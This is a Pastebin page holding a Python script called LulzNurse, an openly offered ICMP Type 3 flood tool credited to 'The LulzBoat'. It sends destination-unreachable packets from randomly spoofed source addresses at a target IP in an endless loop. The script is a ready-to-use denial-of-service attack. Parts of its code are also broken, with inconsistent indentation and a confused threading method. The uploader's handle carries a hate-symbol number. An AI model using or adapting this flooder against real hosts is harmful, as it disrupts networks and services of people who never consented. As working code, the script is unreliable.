Advertisement
baphomet1488

LulzNurse.py

Jul 2nd, 2017
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.79 KB | None | 0 0
  1. #!/usr/bin/env python
  2. ############################################
  3. # LulzNurse                                #
  4. # A multithreaded multiprocess             #
  5. # ICMP Type 3 Code 0-3 Flooder             #
  6. # By:The LulzBoat                          #
  7. #                                          #
  8. ############################################
  9. import socket, random, sys, threading, multiprocessing
  10. from scapy.all import *
  11.  
  12.  
  13. if len(sys.argv) != 4:
  14.     print "Usage: %s <Target IP> <Number of Threads> <Number of Processes>" % sys.argv[0]
  15.     sys.exit(1)
  16.  
  17. target = sys.argv[1]
  18. rthread = int(sys.argv[2]) #You Don't Seem to Need a Ton of Threads Since This is Multi-processed
  19. multi = int(sys.argv[3]) #Number of Processes Should not exceed The Number of Cores in Your Computer
  20.  
  21. conf.iface='wlan0';#This is Your Network Card Change as is Appropriate
  22. total = 0
  23. data = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  24.  
  25. def goodbye():
  26.     sys.exit("\n" + "*" *43 + "\n\nBye! Come use me again!\n\n" + "*" *43 + "")
  27.    
  28.  
  29. print"""
  30.                _.--| LuLz|:                    
  31.               <____|.----||                    
  32.                      .---''---,                
  33.   The                 ;..__..'    _...        
  34.    Lulz            , '/  ||/..--''    \      
  35.     Boat         ,'_ /'.-||            :      
  36.      2017   _..-' ''/    ||  \   \  _|/|    
  37.           \       /-._;/||   \   \,;'   \  
  38.           ,\     /    /`||    \  //    `:`.  
  39.         ,'  \   /-._;/  ||    : ::    ,.   .
  40.       ,'     \ /    /`-.||    | || ' :  `.`.)
  41.    _,'        |;._: /|  ;||    | `|   :    `'
  42.  ,'   `.      /    /`-:_/||    |  |  : \    
  43.  `--.   )    /'-._/    /:||       |   \ \    
  44.     /  /    /'_  /;`-./_;||__..--';    : :    
  45.    /  (    /  -./_  _/  .||'o |   /     ' |    
  46.   /  , \._/_/_./--''/_  /||___|_,'      | |    
  47.  :  /   `'-'--'----'---------'          / |    
  48.  | :     O ._O   O_. O ._O   O_.       ; ;    
  49.  : `.      //    //    //    //       /    
  50. ~~~`.______//____//____//____//_______ ,'~~    
  51.          //    //~   //    // ~ ~ ~ ~~~~    
  52.   ~~   _//   _//   _// ~ _//    ~  ~ ~ ~    
  53. ~     / /   / /   / /   / /  ~      ~~      
  54.      ~~~   ~~~   ~~~   ~~~                  
  55.                                   Setting Sail to the horizon.
  56.                                          Yours Truly.
  57.                                        LulzSecurity2017
  58.                                           Lulz Zombie   """
  59.  
  60. class sendICMP(threading.Thread):
  61.  
  62.     def __init__(self):
  63.         threading.Thread.__init__(self)
  64.            
  65.     def threading(self):        
  66.             threading.thread = rthread
  67.             threading.thread(target=run)
  68.             rthread.start()
  69.             rthread.join()
  70.  
  71.     def run(self):
  72.             global total
  73.             while True:
  74.                total = total + 1
  75.                ip = IP()
  76.            ip.src = "%i.%i.%i.%i" % (random.randint(11,126),random.randint(1,254),random.randint(1,254),random.randint(1,254))
  77.            ip.dst = target
  78.            icmp = ICMP()
  79.            icmp.type = 3
  80.            icmp.code = random.randint(0,3)
  81.                send(ip/icmp/data, verbose=0)
  82.                sys.stdout.write("\r Packets Sended:\t\t\t%i" % total)
  83.                break
  84.  
  85. print "Flooding %s with ICMP packets." % (target)
  86.  
  87. if __name__ == "__main__":
  88.     while True:
  89.                   try:
  90.                      sendICMP().start()
  91.                      multi = multiprocessing.Process(target=sendICMP)
  92.                      multi.start()
  93.                      multi.join()
  94.  
  95.                   except KeyboardInterrupt:
  96.                       goodbye()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement